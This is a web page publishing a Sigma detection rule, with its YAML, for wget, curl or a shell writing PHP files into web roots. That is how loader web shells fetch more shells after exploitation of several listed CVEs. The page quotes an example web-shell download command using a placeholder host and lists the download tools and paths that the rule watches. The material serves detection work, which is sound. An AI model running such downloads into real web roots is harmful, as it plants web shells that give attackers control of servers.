Skip to content
skopnix
← Sigma detections

Sigma · CVE exploitation

PHP web stack: A download tool wrote a PHP file into a web root

severity
high
confidence
75/100
generated
14 Nov 2026

wget, curl or a shell wrote a .php / .phtml / .phar file under a web root (public_html, /var/www, wp-content). Loader shells fetch more web shells this way (wget -O <plugin folder>/x.php https://host/aa.txt), named to blend into plugin and core folders. worker-writes-php misses these: the writer is the download tool, not the PHP worker. Not specific to one bug: it fires on code execution through the PHP web stack by any route. Attached to the 11 CVEs in this stack that skopnix reported in the last 30 days, newest CVE-2026-119977, CVE-2026-116606, CVE-2026-114625.

False-positive notes

Needs wget / curl / a shell as the writer, a PHP-executable extension and a web-root path (public_html, /var/www/, /srv/www/, htdocs, wp-content, wp-includes, wp-admin). Package managers (apt, dnf, composer), git checkouts and SFTP uploads are other writers and do not match.

References

Download .yml
title: 'Skopnix - PHP web stack: A download tool wrote a PHP file into a web root'id: 04fa9932-0d50-569e-9482-20b34194cc0fstatus: experimentaldescription: 'wget, curl or a shell wrote a .php / .phtml / .phar file under a web root (public_html, /var/www, wp-content). Loader shells fetch more web shells this way (wget -O <plugin folder>/x.php https://host/aa.txt), named to blend into plugin and core folders. worker-writes-php misses these: the writer is the download tool, not the PHP worker. Not specific to one bug: it fires on code execution through the PHP web stack by any route. Attached to the 11 CVEs in this stack that skopnix reported in the last 30 days, newest CVE-2026-119977, CVE-2026-116606, CVE-2026-114625.'references:  - https://skopnix.com/cve/CVE-2026-119977  - https://skopnix.com/cve/CVE-2026-116606  - https://skopnix.com/cve/CVE-2026-114625  - https://skopnix.com/cve/CVE-2026-111560  - https://skopnix.com/cve/CVE-2026-110447  - https://skopnix.com/cve/CVE-2026-109619  - https://skopnix.com/cve/CVE-2026-109618  - https://skopnix.com/cve/CVE-2026-104736  - https://skopnix.com/cve/CVE-2026-103849  - https://skopnix.com/cve/CVE-2026-102764  - https://skopnix.com/cve/CVE-2026-48356author: skopnixdate: '2026-11-14'tags:  - attack.execution  - attack.t1105  - attack.t1505.003  - cve.2026-119977  - cve.2026-116606  - cve.2026-114625  - cve.2026-111560  - cve.2026-110447  - cve.2026-109619  - cve.2026-109618  - cve.2026-104736  - cve.2026-103849  - cve.2026-102764  - cve.2026-48356logsource:  category: file_eventdetection:  selection_writer:    Image|re|i: '[/\\](wget|curl|sh|bash|dash|busybox)$'  selection_file:    TargetFilename|endswith:      - .php      - .phtml      - .phar      - .php5      - .php7  selection_root:    TargetFilename|contains:      - /public_html/      - /var/www/      - /srv/www/      - /htdocs/      - /wp-content/      - /wp-includes/      - /wp-admin/  condition: selection_writer and selection_file and selection_rootfalsepositives:  - Deployment scripts that fetch PHP files with curl / wget (rare; most deploy with git, rsync or composer)level: high

skopnix-sigma-cve-stack-php-downloader-writes-php-8f2d23a8.yml

How to deploy on Sigma

Step 1
Convert for your SIEM with sigma-cli / pySigma, e.g. sigma convert -t splunk -p sysmon rule.yml.
Step 2
Run it as a hunt first: every rule ships as status experimental.
Step 3
Promote to an alert once a week of results is clean on your data.
Check
The processing pipeline must map the logsource (firewall, dns, proxy, webserver, process_creation) to your field names.